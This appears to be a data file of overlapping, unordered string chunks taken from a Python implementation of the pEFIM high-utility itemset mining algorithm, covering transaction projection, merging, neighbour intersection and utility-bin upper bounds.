"len(itemsToKeep)): item = itemsToKeep[i] self.utilityBinArrayLU[item] = 0 self.utilityBinArraySU[item] = 0 for transaction in",
"> len(trans2_items): while pos2 >= 0: sub = trans2_items[pos2] - trans1_items[pos1] if sub",
"self.temp[0] in self.Neighbours: intersectionList = self.Neighbours[self.temp[0]] else: return intersectionList for i in range(1,",
"variable to caluclate the utility of Pe utilityPe = 0 # merging transactions",
"local utility and subtree utility self.useUtilityBinArraysToCalculateUpperBounds(transactionsPe, idx, itemsToKeep, neighbourhoodList) newItemsToKeep = [] newItemsToExplore",
"i -= 1 def is_equal(self, transaction1, transaction2): length1 = len(transaction1.items) - transaction1.offset length2",
"projectedTransaction.transactionUtility previousTransaction.prefixUtility += projectedTransaction.prefixUtility consecutiveMergeCount += 1 else: transactionsPe.append(previousTransaction) previousTransaction = projectedTransaction consecutiveMergeCount",
"len(transaction1.items) - transaction1.offset length2 = len(transaction2.items) - transaction2.offset if length1 != length2: return",
"projectedTransaction.offset while positionPrevious < itemsCount: utilities[positionPrevious] += projectedTransaction.utilities[positionProjection] positionPrevious += 1 positionProjection +=",
"for item in intersectionList: if item in self.oldNamesToNewNames: finalIntersectionList.append(self.oldNamesToNewNames[item]) return finalIntersectionList def useUtilityBinArraysToCalculateUpperBounds(self,",
"= len(transaction1.items) - transaction1.offset length2 = len(transaction2.items) - transaction2.offset if length1 != length2:",
"utilityPe = 0 # merging transactions previousTransaction = transactionsOfP[0] consecutiveMergeCount = 0 for",
"= mapItemsToneighbors self.itemsToExplore = itemsToExplore self.itemsToKeep = itemsToKeep self.transactions = transactions self.newNamesToOldNames =",
"for transaction in transactionsOfP: items = transaction.getItems() if e in items: # if",
"transaction.transactionUtility + transaction.prefixUtility i -= 1 def is_equal(self, transaction1, transaction2): length1 = len(transaction1.items)",
"previousTransaction.prefixUtility += projectedTransaction.prefixUtility consecutiveMergeCount += 1 else: transactionsPe.append(previousTransaction) previousTransaction = projectedTransaction consecutiveMergeCount =",
"1 def is_equal(self, transaction1, transaction2): length1 = len(transaction1.items) - transaction1.offset length2 = len(transaction2.items)",
"previousTransaction.transactionUtility + projectedTransaction.transactionUtility) previousTransaction.prefixUtility = sumUtilities else: positionPrevious = 0 positionProjected = projectedTransaction.offset",
"and transaction_item in neighbourhoodList: remainingUtility += transaction.getUtilities()[k] remainingUtility += transaction.getUtilities()[i] self.utilityBinArraySU[item] += remainingUtility",
"len(trans1_items) < len(trans2_items): while pos1 >= 0: sub = trans2_items[pos2] - trans1_items[pos1] if",
"the local utility and subtree utility self.useUtilityBinArraysToCalculateUpperBounds(transactionsPe, idx, itemsToKeep, neighbourhoodList) newItemsToKeep = []",
"transaction_item = transaction.getItems()[k] if self.newNamesToOldNames[transaction_item] in item_neighbours and transaction_item in neighbourhoodList: remainingUtility +=",
"transactionsOfP[0]: # if it is the first transactoin previousTransaction = projectedTransaction elif self.is_equal(projectedTransaction,",
"cmp_items = cmp_to_key(self.sort_transaction) transactions.sort(key=cmp_items) def sort_transaction(self, trans1, trans2): trans1_items = trans1.getItems() trans2_items =",
"Transaction import Transaction class pEFIM(): highUtilityItemsets = [] candidateCount = 0 utilityBinArrayLU =",
"in intersectionList: if item in self.oldNamesToNewNames: finalIntersectionList.append(self.oldNamesToNewNames[item]) return finalIntersectionList def useUtilityBinArraysToCalculateUpperBounds(self, transactionsPe, j,",
"in self.Neighbours: item_neighbours = self.Neighbours[self.newNamesToOldNames[item]] for k in range(i, length): transaction_item = transaction.getItems()[k]",
"+= projectedTransaction.prefixUtility if previousTransaction == transactionsOfP[0]: # if it is the first transactoin",
"intersectionList: if item in self.oldNamesToNewNames: finalIntersectionList.append(self.oldNamesToNewNames[item]) return finalIntersectionList def useUtilityBinArraysToCalculateUpperBounds(self, transactionsPe, j, itemsToKeep,",
"newItemsToKeep, newItemsToExplore, prefixLength + 1) def intersection(self, lst1, lst2): # Use of hybrid",
"self.Neighbours[self.newNamesToOldNames[item]] for k in range(i, length): transaction_item = transaction.getItems()[k] if self.newNamesToOldNames[transaction_item] in item_neighbours",
"itemk in neighbourhoodList: newItemsToExplore.append(itemk) newItemsToKeep.append(itemk) elif self.utilityBinArrayLU[itemk] >= self.minUtil: if itemk in neighbourhoodList:",
"True def sortDatabase(self, transactions): cmp_items = cmp_to_key(self.sort_transaction) transactions.sort(key=cmp_items) def sort_transaction(self, trans1, trans2): trans1_items",
"while pos2 >= 0: sub = trans2_items[pos2] - trans1_items[pos1] if sub != 0:",
"transactionsOfP[0]: transactionsPe.append(previousTransaction) self.temp[prefixLength] = self.newNamesToOldNames[e] if utilityPe >= self.minUtil: self.highUtilityItemsets.append((utilityPe , self.temp[:prefixLength +",
"1 positionProjection += 1 previousTransaction.prefixUtility += projectedTransaction.prefixUtility sumUtilities = previousTransaction.prefixUtility previousTransaction = Transaction(items,",
"item = transaction.getItems()[i] if item in itemsToKeep: remainingUtility = 0 if self.newNamesToOldNames[item] in",
"self.utilityBinArrayLU[item] += transaction.transactionUtility + transaction.prefixUtility i -= 1 def is_equal(self, transaction1, transaction2): length1",
"neighbourhoodList = self.caluclateNeighbourIntersection(prefixLength) # caluclate the local utility and subtree utility self.useUtilityBinArraysToCalculateUpperBounds(transactionsPe, idx,",
"self.Neighbours = mapItemsToneighbors self.itemsToExplore = itemsToExplore self.itemsToKeep = itemsToKeep self.transactions = transactions self.newNamesToOldNames",
"-1 elif len(trans1_items) > len(trans2_items): while pos2 >= 0: sub = trans2_items[pos2] -",
"itemsToKeep, neighbourhoodList): for i in range(j + 1, len(itemsToKeep)): item = itemsToKeep[i] self.utilityBinArrayLU[item]",
"1) def intersection(self, lst1, lst2): # Use of hybrid method temp = set(lst2)",
"in the transaction positionE = items.index(e) if transaction.getLastPosition() == positionE: utilityPe += transaction.getUtilities()[positionE]",
"== transactionsOfP[0]: # if it is the first transactoin previousTransaction = projectedTransaction elif",
"if transaction.getLastPosition() == positionE: utilityPe += transaction.getUtilities()[positionE] + transaction.prefixUtility else: projectedTransaction = transaction.projectTransaction(positionE)",
"0: return sub pos1 -= 1 pos2 -= 1 return -1 elif len(trans1_items)",
"{} utilityBinArraySU = {} # a temporary buffer temp = [] for i",
"= projectedTransaction consecutiveMergeCount = 0 transaction.offset = positionE if previousTransaction != transactionsOfP[0]: transactionsPe.append(previousTransaction)",
"# caluclate the set which is intersection of all the neighbours of items",
"-= 1 pos2 -= 1 return -1 elif len(trans1_items) > len(trans2_items): while pos2",
"in neighbourhoodList: newItemsToExplore.append(itemk) newItemsToKeep.append(itemk) elif self.utilityBinArrayLU[itemk] >= self.minUtil: if itemk in neighbourhoodList: newItemsToKeep.append(itemk)",
"len(previousTransaction.items) while positionPrevious < itemsCount: previousTransaction.utilities[positionPrevious] += projectedTransaction.utilities[ positionProjected] positionPrevious += 1 positionProjected",
"in transactionsOfP: items = transaction.getItems() if e in items: # if e was",
"pos2 = len(trans2_items) - 1 if len(trans1_items) < len(trans2_items): while pos1 >= 0:",
"transactions according to proposed total order on transaction self.sortDatabase(self.transactions) self.backtrackingEFIM(self.transactions, self.itemsToKeep, self.itemsToExplore, 0)",
"transactionsPe = [] # variable to caluclate the utility of Pe utilityPe =",
"= itemsToKeep self.transactions = transactions self.newNamesToOldNames = newNamesToOldNames self.oldNamesToNewNames = oldNamesToNewNames def runAlgo(self):",
"= transactions self.newNamesToOldNames = newNamesToOldNames self.oldNamesToNewNames = oldNamesToNewNames def runAlgo(self): # now we",
"the transaction positionE = items.index(e) if transaction.getLastPosition() == positionE: utilityPe += transaction.getUtilities()[positionE] +",
"itemsCount = len(previousTransaction.items) while positionPrevious < itemsCount: previousTransaction.utilities[positionPrevious] += projectedTransaction.utilities[ positionProjected] positionPrevious +=",
"pos2 -= 1 return -1 elif len(trans1_items) > len(trans2_items): while pos2 >= 0:",
"caluclate the set which is intersection of all the neighbours of items present",
"pos1 -= 1 pos2 -= 1 return -1 elif len(trans1_items) > len(trans2_items): while",
"item in self.oldNamesToNewNames: finalIntersectionList.append(self.oldNamesToNewNames[item]) return finalIntersectionList def useUtilityBinArraysToCalculateUpperBounds(self, transactionsPe, j, itemsToKeep, neighbourhoodList): for",
"= trans2.getItems() pos1 = len(trans1_items) - 1 pos2 = len(trans2_items) - 1 if",
"transactions, newNamesToOldNames, oldNamesToNewNames): self.minUtil = minUtility self.Neighbours = mapItemsToneighbors self.itemsToExplore = itemsToExplore self.itemsToKeep",
"Transaction class pEFIM(): highUtilityItemsets = [] candidateCount = 0 utilityBinArrayLU = {} utilityBinArraySU",
"elif self.utilityBinArrayLU[itemk] >= self.minUtil: if itemk in neighbourhoodList: newItemsToKeep.append(itemk) self.backtrackingEFIM(transactionsPe, newItemsToKeep, newItemsToExplore, prefixLength",
"i in range(1, prefixLength+1): if self.temp[i] in self.Neighbours: intersectionList = self.intersection(self.Neighbours[self.temp[i]], intersectionList) finalIntersectionList",
"= 0 utilityBinArrayLU = {} utilityBinArraySU = {} # a temporary buffer temp",
"e transactionsPe = [] # variable to caluclate the utility of Pe utilityPe",
"= transaction2.offset while position1 < len(transaction1.items): if transaction1.items[position1] != transaction2.items[position2]: return False position1",
"return False position1 += 1 position2 += 1 return True def sortDatabase(self, transactions):",
"transactionsOfP: items = transaction.getItems() if e in items: # if e was found",
"+ transaction.prefixUtility else: projectedTransaction = transaction.projectTransaction(positionE) utilityPe += projectedTransaction.prefixUtility if previousTransaction == transactionsOfP[0]:",
"i in range(j + 1, len(itemsToKeep)): item = itemsToKeep[i] self.utilityBinArrayLU[item] = 0 self.utilityBinArraySU[item]",
"self.utilityBinArrayLU[item] = 0 self.utilityBinArraySU[item] = 0 for transaction in transactionsPe: length = len(transaction.getItems())",
"= self.newNamesToOldNames[e] if utilityPe >= self.minUtil: self.highUtilityItemsets.append((utilityPe , self.temp[:prefixLength + 1])) # caluclate",
"intersection of all the neighbours of items present in P U {e} neighbourhoodList",
"is intersection of all the neighbours of items present in P U {e}",
"functools import cmp_to_key from Transaction import Transaction class pEFIM(): highUtilityItemsets = [] candidateCount",
"[value for value in lst1 if value in temp] return lst3 def caluclateNeighbourIntersection(self,",
"if self.temp[0] in self.Neighbours: intersectionList = self.Neighbours[self.temp[0]] else: return intersectionList for i in",
">= self.minUtil: if itemk in neighbourhoodList: newItemsToExplore.append(itemk) newItemsToKeep.append(itemk) elif self.utilityBinArrayLU[itemk] >= self.minUtil: if",
"= len(items) positionPrevious = 0 positionProjection = projectedTransaction.offset while positionPrevious < itemsCount: utilities[positionPrevious]",
"value in lst1 if value in temp] return lst3 def caluclateNeighbourIntersection(self, prefixLength): intersectionList",
"def sort_transaction(self, trans1, trans2): trans1_items = trans1.getItems() trans2_items = trans2.getItems() pos1 = len(trans1_items)",
"== 0: # if the first consecutive merge items = previousTransaction.items[previousTransaction.offset:] utilities =",
"transactions to keep what appears after e transactionsPe = [] # variable to",
"self.caluclateNeighbourIntersection(prefixLength) # caluclate the local utility and subtree utility self.useUtilityBinArraysToCalculateUpperBounds(transactionsPe, idx, itemsToKeep, neighbourhoodList)",
"- 1 pos2 = len(trans2_items) - 1 if len(trans1_items) < len(trans2_items): while pos1",
"transactionsPe.append(previousTransaction) previousTransaction = projectedTransaction consecutiveMergeCount = 0 transaction.offset = positionE if previousTransaction !=",
"{e} neighbourhoodList = self.caluclateNeighbourIntersection(prefixLength) # caluclate the local utility and subtree utility self.useUtilityBinArraysToCalculateUpperBounds(transactionsPe,",
"if the first consecutive merge items = previousTransaction.items[previousTransaction.offset:] utilities = previousTransaction.utilities[previousTransaction.offset:] itemsCount =",
"len(trans2_items): while pos1 >= 0: sub = trans2_items[pos2] - trans1_items[pos1] if sub !=",
"trans2_items = trans2.getItems() pos1 = len(trans1_items) - 1 pos2 = len(trans2_items) - 1",
"finalIntersectionList.append(self.oldNamesToNewNames[item]) return finalIntersectionList def useUtilityBinArraysToCalculateUpperBounds(self, transactionsPe, j, itemsToKeep, neighbourhoodList): for i in range(j",
"i in range(5000): temp.append(0) def __init__(self, mapItemsToneighbors, minUtility, itemsToExplore, itemsToKeep, transactions, newNamesToOldNames, oldNamesToNewNames):",
"transactions self.newNamesToOldNames = newNamesToOldNames self.oldNamesToNewNames = oldNamesToNewNames def runAlgo(self): # now we will",
"sumUtilities else: positionPrevious = 0 positionProjected = projectedTransaction.offset itemsCount = len(previousTransaction.items) while positionPrevious",
"1 return True def sortDatabase(self, transactions): cmp_items = cmp_to_key(self.sort_transaction) transactions.sort(key=cmp_items) def sort_transaction(self, trans1,",
"previousTransaction = projectedTransaction elif self.is_equal(projectedTransaction, previousTransaction): if consecutiveMergeCount == 0: # if the",
"0 for transaction in transactionsOfP: items = transaction.getItems() if e in items: #",
"lst2): # Use of hybrid method temp = set(lst2) lst3 = [value for",
"+ 1) def intersection(self, lst1, lst2): # Use of hybrid method temp =",
"self.utilityBinArraySU[item] += remainingUtility + transaction.prefixUtility self.utilityBinArrayLU[item] += transaction.transactionUtility + transaction.prefixUtility i -= 1",
"after e transactionsPe = [] # variable to caluclate the utility of Pe",
"previousTransaction.prefixUtility += projectedTransaction.prefixUtility sumUtilities = previousTransaction.prefixUtility previousTransaction = Transaction(items, utilities, previousTransaction.transactionUtility + projectedTransaction.transactionUtility)",
"utility self.useUtilityBinArraysToCalculateUpperBounds(transactionsPe, idx, itemsToKeep, neighbourhoodList) newItemsToKeep = [] newItemsToExplore = [] for l",
"self.highUtilityItemsets.append((utilityPe , self.temp[:prefixLength + 1])) # caluclate the set which is intersection of",
"positionE if previousTransaction != transactionsOfP[0]: transactionsPe.append(previousTransaction) self.temp[prefixLength] = self.newNamesToOldNames[e] if utilityPe >= self.minUtil:",
"self.Neighbours[self.temp[0]] else: return intersectionList for i in range(1, prefixLength+1): if self.temp[i] in self.Neighbours:",
"in P U {e} neighbourhoodList = self.caluclateNeighbourIntersection(prefixLength) # caluclate the local utility and",
"len(trans1_items) - 1 pos2 = len(trans2_items) - 1 if len(trans1_items) < len(trans2_items): while",
"trans1, trans2): trans1_items = trans1.getItems() trans2_items = trans2.getItems() pos1 = len(trans1_items) - 1",
"= projectedTransaction.offset while positionPrevious < itemsCount: utilities[positionPrevious] += projectedTransaction.utilities[positionProjection] positionPrevious += 1 positionProjection",
"self.backtrackingEFIM(transactionsPe, newItemsToKeep, newItemsToExplore, prefixLength + 1) def intersection(self, lst1, lst2): # Use of",
">= transaction.offset: item = transaction.getItems()[i] if item in itemsToKeep: remainingUtility = 0 if",
"len(trans2_items) - 1 if len(trans1_items) < len(trans2_items): while pos1 >= 0: sub =",
"= transactionsOfP[0] consecutiveMergeCount = 0 for transaction in transactionsOfP: items = transaction.getItems() if",
"prefixLength+1): if self.temp[i] in self.Neighbours: intersectionList = self.intersection(self.Neighbours[self.temp[i]], intersectionList) finalIntersectionList = [] for",
"= 0 for transaction in transactionsPe: length = len(transaction.getItems()) i = length -",
"lst1 if value in temp] return lst3 def caluclateNeighbourIntersection(self, prefixLength): intersectionList = []",
"lst3 def caluclateNeighbourIntersection(self, prefixLength): intersectionList = [] if self.temp[0] in self.Neighbours: intersectionList =",
"it is the first transactoin previousTransaction = projectedTransaction elif self.is_equal(projectedTransaction, previousTransaction): if consecutiveMergeCount",
"self.temp[i] in self.Neighbours: intersectionList = self.intersection(self.Neighbours[self.temp[i]], intersectionList) finalIntersectionList = [] for item in",
">= 0: sub = trans2_items[pos2] - trans1_items[pos1] if sub != 0: return sub",
"1 previousTransaction.transactionUtility += projectedTransaction.transactionUtility previousTransaction.prefixUtility += projectedTransaction.prefixUtility consecutiveMergeCount += 1 else: transactionsPe.append(previousTransaction) previousTransaction",
"transaction2.offset if length1 != length2: return False position1 = transaction1.offset position2 = transaction2.offset",
"1 pos2 = len(trans2_items) - 1 if len(trans1_items) < len(trans2_items): while pos1 >=",
"len(itemsToKeep)): itemk = itemsToKeep[l] if self.utilityBinArraySU[itemk] >= self.minUtil: if itemk in neighbourhoodList: newItemsToExplore.append(itemk)",
"a temporary buffer temp = [] for i in range(5000): temp.append(0) def __init__(self,",
"def runAlgo(self): # now we will sort the transactions according to proposed total",
"{} # a temporary buffer temp = [] for i in range(5000): temp.append(0)",
"newItemsToKeep.append(itemk) self.backtrackingEFIM(transactionsPe, newItemsToKeep, newItemsToExplore, prefixLength + 1) def intersection(self, lst1, lst2): # Use",
"itemsToExplore self.itemsToKeep = itemsToKeep self.transactions = transactions self.newNamesToOldNames = newNamesToOldNames self.oldNamesToNewNames = oldNamesToNewNames",
"itemsCount: utilities[positionPrevious] += projectedTransaction.utilities[positionProjection] positionPrevious += 1 positionProjection += 1 previousTransaction.prefixUtility += projectedTransaction.prefixUtility",
"sub != 0: return sub pos1 -= 1 pos2 -= 1 return 0",
"length1 != length2: return False position1 = transaction1.offset position2 = transaction2.offset while position1",
"to caluclate the utility of Pe utilityPe = 0 # merging transactions previousTransaction",
"= cmp_to_key(self.sort_transaction) transactions.sort(key=cmp_items) def sort_transaction(self, trans1, trans2): trans1_items = trans1.getItems() trans2_items = trans2.getItems()",
"= previousTransaction.items[previousTransaction.offset:] utilities = previousTransaction.utilities[previousTransaction.offset:] itemsCount = len(items) positionPrevious = 0 positionProjection =",
"utilityBinArrayLU = {} utilityBinArraySU = {} # a temporary buffer temp = []",
"caluclate the local utility and subtree utility self.useUtilityBinArraysToCalculateUpperBounds(transactionsPe, idx, itemsToKeep, neighbourhoodList) newItemsToKeep =",
"= trans1.getItems() trans2_items = trans2.getItems() pos1 = len(trans1_items) - 1 pos2 = len(trans2_items)",
"1 pos2 -= 1 return 1 else: while pos2 >= 0: sub =",
"positionE: utilityPe += transaction.getUtilities()[positionE] + transaction.prefixUtility else: projectedTransaction = transaction.projectTransaction(positionE) utilityPe += projectedTransaction.prefixUtility",
"itemsToKeep: remainingUtility = 0 if self.newNamesToOldNames[item] in self.Neighbours: item_neighbours = self.Neighbours[self.newNamesToOldNames[item]] for k",
"i >= transaction.offset: item = transaction.getItems()[i] if item in itemsToKeep: remainingUtility = 0",
"subtree utility self.useUtilityBinArraysToCalculateUpperBounds(transactionsPe, idx, itemsToKeep, neighbourhoodList) newItemsToKeep = [] newItemsToExplore = [] for",
"transaction in transactionsPe: length = len(transaction.getItems()) i = length - 1 while i",
"transaction in transactionsOfP: items = transaction.getItems() if e in items: # if e",
"utilityBinArraySU = {} # a temporary buffer temp = [] for i in",
"transaction1.offset length2 = len(transaction2.items) - transaction2.offset if length1 != length2: return False position1",
"previousTransaction.prefixUtility previousTransaction = Transaction(items, utilities, previousTransaction.transactionUtility + projectedTransaction.transactionUtility) previousTransaction.prefixUtility = sumUtilities else: positionPrevious",
"consecutiveMergeCount == 0: # if the first consecutive merge items = previousTransaction.items[previousTransaction.offset:] utilities",
"neighbourhoodList): for i in range(j + 1, len(itemsToKeep)): item = itemsToKeep[i] self.utilityBinArrayLU[item] =",
"the neighbours of items present in P U {e} neighbourhoodList = self.caluclateNeighbourIntersection(prefixLength) #",
"+= 1 positionProjected += 1 previousTransaction.transactionUtility += projectedTransaction.transactionUtility previousTransaction.prefixUtility += projectedTransaction.prefixUtility consecutiveMergeCount +=",
"if self.utilityBinArraySU[itemk] >= self.minUtil: if itemk in neighbourhoodList: newItemsToExplore.append(itemk) newItemsToKeep.append(itemk) elif self.utilityBinArrayLU[itemk] >=",
"if it is the first transactoin previousTransaction = projectedTransaction elif self.is_equal(projectedTransaction, previousTransaction): if",
"transactionsOfP[0] consecutiveMergeCount = 0 for transaction in transactionsOfP: items = transaction.getItems() if e",
"+= projectedTransaction.utilities[ positionProjected] positionPrevious += 1 positionProjected += 1 previousTransaction.transactionUtility += projectedTransaction.transactionUtility previousTransaction.prefixUtility",
"+= 1 positionProjection += 1 previousTransaction.prefixUtility += projectedTransaction.prefixUtility sumUtilities = previousTransaction.prefixUtility previousTransaction =",
"items: # if e was found in the transaction positionE = items.index(e) if",
"intersectionList = self.intersection(self.Neighbours[self.temp[i]], intersectionList) finalIntersectionList = [] for item in intersectionList: if item",
"== positionE: utilityPe += transaction.getUtilities()[positionE] + transaction.prefixUtility else: projectedTransaction = transaction.projectTransaction(positionE) utilityPe +=",
"while positionPrevious < itemsCount: previousTransaction.utilities[positionPrevious] += projectedTransaction.utilities[ positionProjected] positionPrevious += 1 positionProjected +=",
"return intersectionList for i in range(1, prefixLength+1): if self.temp[i] in self.Neighbours: intersectionList =",
"itemsToKeep, transactions, newNamesToOldNames, oldNamesToNewNames): self.minUtil = minUtility self.Neighbours = mapItemsToneighbors self.itemsToExplore = itemsToExplore",
"item in itemsToKeep: remainingUtility = 0 if self.newNamesToOldNames[item] in self.Neighbours: item_neighbours = self.Neighbours[self.newNamesToOldNames[item]]",
"previousTransaction == transactionsOfP[0]: # if it is the first transactoin previousTransaction = projectedTransaction",
"projectedTransaction.prefixUtility if previousTransaction == transactionsOfP[0]: # if it is the first transactoin previousTransaction",
"containing p U {e} # at the same time project transactions to keep",
"-= 1 return 1 else: while pos2 >= 0: sub = trans2_items[pos2] -",
"if self.newNamesToOldNames[item] in self.Neighbours: item_neighbours = self.Neighbours[self.newNamesToOldNames[item]] for k in range(i, length): transaction_item",
"intersectionList = self.Neighbours[self.temp[0]] else: return intersectionList for i in range(1, prefixLength+1): if self.temp[i]",
"self.newNamesToOldNames = newNamesToOldNames self.oldNamesToNewNames = oldNamesToNewNames def runAlgo(self): # now we will sort",
"= previousTransaction.prefixUtility previousTransaction = Transaction(items, utilities, previousTransaction.transactionUtility + projectedTransaction.transactionUtility) previousTransaction.prefixUtility = sumUtilities else:",
"method temp = set(lst2) lst3 = [value for value in lst1 if value",
"self.oldNamesToNewNames: finalIntersectionList.append(self.oldNamesToNewNames[item]) return finalIntersectionList def useUtilityBinArraysToCalculateUpperBounds(self, transactionsPe, j, itemsToKeep, neighbourhoodList): for i in",
"pos2 -= 1 return 1 else: while pos2 >= 0: sub = trans2_items[pos2]",
"= previousTransaction.utilities[previousTransaction.offset:] itemsCount = len(items) positionPrevious = 0 positionProjection = projectedTransaction.offset while positionPrevious",
"length): transaction_item = transaction.getItems()[k] if self.newNamesToOldNames[transaction_item] in item_neighbours and transaction_item in neighbourhoodList: remainingUtility",
"remainingUtility = 0 if self.newNamesToOldNames[item] in self.Neighbours: item_neighbours = self.Neighbours[self.newNamesToOldNames[item]] for k in",
"temp] return lst3 def caluclateNeighbourIntersection(self, prefixLength): intersectionList = [] if self.temp[0] in self.Neighbours:",
"= [] newItemsToExplore = [] for l in range(idx + 1, len(itemsToKeep)): itemk",
"1 position2 += 1 return True def sortDatabase(self, transactions): cmp_items = cmp_to_key(self.sort_transaction) transactions.sort(key=cmp_items)",
"+ transaction.prefixUtility i -= 1 def is_equal(self, transaction1, transaction2): length1 = len(transaction1.items) -",
"neighbourhoodList: newItemsToKeep.append(itemk) self.backtrackingEFIM(transactionsPe, newItemsToKeep, newItemsToExplore, prefixLength + 1) def intersection(self, lst1, lst2): #",
"itemsToKeep, neighbourhoodList) newItemsToKeep = [] newItemsToExplore = [] for l in range(idx +",
"elif self.is_equal(projectedTransaction, previousTransaction): if consecutiveMergeCount == 0: # if the first consecutive merge",
"transactionsPe.append(previousTransaction) self.temp[prefixLength] = self.newNamesToOldNames[e] if utilityPe >= self.minUtil: self.highUtilityItemsets.append((utilityPe , self.temp[:prefixLength + 1]))",
"1, len(itemsToKeep)): itemk = itemsToKeep[l] if self.utilityBinArraySU[itemk] >= self.minUtil: if itemk in neighbourhoodList:",
"0 for transaction in transactionsPe: length = len(transaction.getItems()) i = length - 1",
"remainingUtility += transaction.getUtilities()[i] self.utilityBinArraySU[item] += remainingUtility + transaction.prefixUtility self.utilityBinArrayLU[item] += transaction.transactionUtility + transaction.prefixUtility",
"transaction2): length1 = len(transaction1.items) - transaction1.offset length2 = len(transaction2.items) - transaction2.offset if length1",
"self.itemsToKeep = itemsToKeep self.transactions = transactions self.newNamesToOldNames = newNamesToOldNames self.oldNamesToNewNames = oldNamesToNewNames def",
"self.Neighbours: item_neighbours = self.Neighbours[self.newNamesToOldNames[item]] for k in range(i, length): transaction_item = transaction.getItems()[k] if",
"+= transaction.getUtilities()[i] self.utilityBinArraySU[item] += remainingUtility + transaction.prefixUtility self.utilityBinArrayLU[item] += transaction.transactionUtility + transaction.prefixUtility i",
"projectedTransaction.prefixUtility sumUtilities = previousTransaction.prefixUtility previousTransaction = Transaction(items, utilities, previousTransaction.transactionUtility + projectedTransaction.transactionUtility) previousTransaction.prefixUtility =",
"consecutive merge items = previousTransaction.items[previousTransaction.offset:] utilities = previousTransaction.utilities[previousTransaction.offset:] itemsCount = len(items) positionPrevious =",
"finalIntersectionList = [] for item in intersectionList: if item in self.oldNamesToNewNames: finalIntersectionList.append(self.oldNamesToNewNames[item]) return",
"transaction.getLastPosition() == positionE: utilityPe += transaction.getUtilities()[positionE] + transaction.prefixUtility else: projectedTransaction = transaction.projectTransaction(positionE) utilityPe",
"0 positionProjection = projectedTransaction.offset while positionPrevious < itemsCount: utilities[positionPrevious] += projectedTransaction.utilities[positionProjection] positionPrevious +=",
"projectedTransaction.transactionUtility) previousTransaction.prefixUtility = sumUtilities else: positionPrevious = 0 positionProjected = projectedTransaction.offset itemsCount =",
"self.minUtil: self.highUtilityItemsets.append((utilityPe , self.temp[:prefixLength + 1])) # caluclate the set which is intersection",
"[] for item in intersectionList: if item in self.oldNamesToNewNames: finalIntersectionList.append(self.oldNamesToNewNames[item]) return finalIntersectionList def",
"return False position1 = transaction1.offset position2 = transaction2.offset while position1 < len(transaction1.items): if",
"transactoin previousTransaction = projectedTransaction elif self.is_equal(projectedTransaction, previousTransaction): if consecutiveMergeCount == 0: # if",
"time project transactions to keep what appears after e transactionsPe = [] #",
"if utilityPe >= self.minUtil: self.highUtilityItemsets.append((utilityPe , self.temp[:prefixLength + 1])) # caluclate the set",
"useUtilityBinArraysToCalculateUpperBounds(self, transactionsPe, j, itemsToKeep, neighbourhoodList): for i in range(j + 1, len(itemsToKeep)): item",
"# caluclate the transactions containing p U {e} # at the same time",
"= transaction.projectTransaction(positionE) utilityPe += projectedTransaction.prefixUtility if previousTransaction == transactionsOfP[0]: # if it is",
"l in range(idx + 1, len(itemsToKeep)): itemk = itemsToKeep[l] if self.utilityBinArraySU[itemk] >= self.minUtil:",
"will sort the transactions according to proposed total order on transaction self.sortDatabase(self.transactions) self.backtrackingEFIM(self.transactions,",
"e was found in the transaction positionE = items.index(e) if transaction.getLastPosition() == positionE:",
"to proposed total order on transaction self.sortDatabase(self.transactions) self.backtrackingEFIM(self.transactions, self.itemsToKeep, self.itemsToExplore, 0) return (1,",
"in range(1, prefixLength+1): if self.temp[i] in self.Neighbours: intersectionList = self.intersection(self.Neighbours[self.temp[i]], intersectionList) finalIntersectionList =",
"is the first transactoin previousTransaction = projectedTransaction elif self.is_equal(projectedTransaction, previousTransaction): if consecutiveMergeCount ==",
"< itemsCount: previousTransaction.utilities[positionPrevious] += projectedTransaction.utilities[ positionProjected] positionPrevious += 1 positionProjected += 1 previousTransaction.transactionUtility",
"j, itemsToKeep, neighbourhoodList): for i in range(j + 1, len(itemsToKeep)): item = itemsToKeep[i]",
"self.itemsToKeep, self.itemsToExplore, 0) return (1, self.highUtilityItemsets) def backtrackingEFIM(self, transactionsOfP, itemsToKeep, itemsToExplore, prefixLength): self.candidateCount",
"if len(trans1_items) < len(trans2_items): while pos1 >= 0: sub = trans2_items[pos2] - trans1_items[pos1]",
"= len(transaction2.items) - transaction2.offset if length1 != length2: return False position1 = transaction1.offset",
"itemsToExplore, itemsToKeep, transactions, newNamesToOldNames, oldNamesToNewNames): self.minUtil = minUtility self.Neighbours = mapItemsToneighbors self.itemsToExplore =",
"sort_transaction(self, trans1, trans2): trans1_items = trans1.getItems() trans2_items = trans2.getItems() pos1 = len(trans1_items) -",
"transaction.projectTransaction(positionE) utilityPe += projectedTransaction.prefixUtility if previousTransaction == transactionsOfP[0]: # if it is the",
"proposed total order on transaction self.sortDatabase(self.transactions) self.backtrackingEFIM(self.transactions, self.itemsToKeep, self.itemsToExplore, 0) return (1, self.highUtilityItemsets)",
"< len(trans2_items): while pos1 >= 0: sub = trans2_items[pos2] - trans1_items[pos1] if sub",
"1 else: transactionsPe.append(previousTransaction) previousTransaction = projectedTransaction consecutiveMergeCount = 0 transaction.offset = positionE if",
"- transaction2.offset if length1 != length2: return False position1 = transaction1.offset position2 =",
"project transactions to keep what appears after e transactionsPe = [] # variable",
"0 # merging transactions previousTransaction = transactionsOfP[0] consecutiveMergeCount = 0 for transaction in",
"len(transaction2.items) - transaction2.offset if length1 != length2: return False position1 = transaction1.offset position2",
"+ 1])) # caluclate the set which is intersection of all the neighbours",
"of Pe utilityPe = 0 # merging transactions previousTransaction = transactionsOfP[0] consecutiveMergeCount =",
"of hybrid method temp = set(lst2) lst3 = [value for value in lst1",
"- 1 while i >= transaction.offset: item = transaction.getItems()[i] if item in itemsToKeep:",
"previousTransaction.items[previousTransaction.offset:] utilities = previousTransaction.utilities[previousTransaction.offset:] itemsCount = len(items) positionPrevious = 0 positionProjection = projectedTransaction.offset",
"merge items = previousTransaction.items[previousTransaction.offset:] utilities = previousTransaction.utilities[previousTransaction.offset:] itemsCount = len(items) positionPrevious = 0",
"in neighbourhoodList: remainingUtility += transaction.getUtilities()[k] remainingUtility += transaction.getUtilities()[i] self.utilityBinArraySU[item] += remainingUtility + transaction.prefixUtility",
"present in P U {e} neighbourhoodList = self.caluclateNeighbourIntersection(prefixLength) # caluclate the local utility",
"utilityPe += transaction.getUtilities()[positionE] + transaction.prefixUtility else: projectedTransaction = transaction.projectTransaction(positionE) utilityPe += projectedTransaction.prefixUtility if",
"the utility of Pe utilityPe = 0 # merging transactions previousTransaction = transactionsOfP[0]",
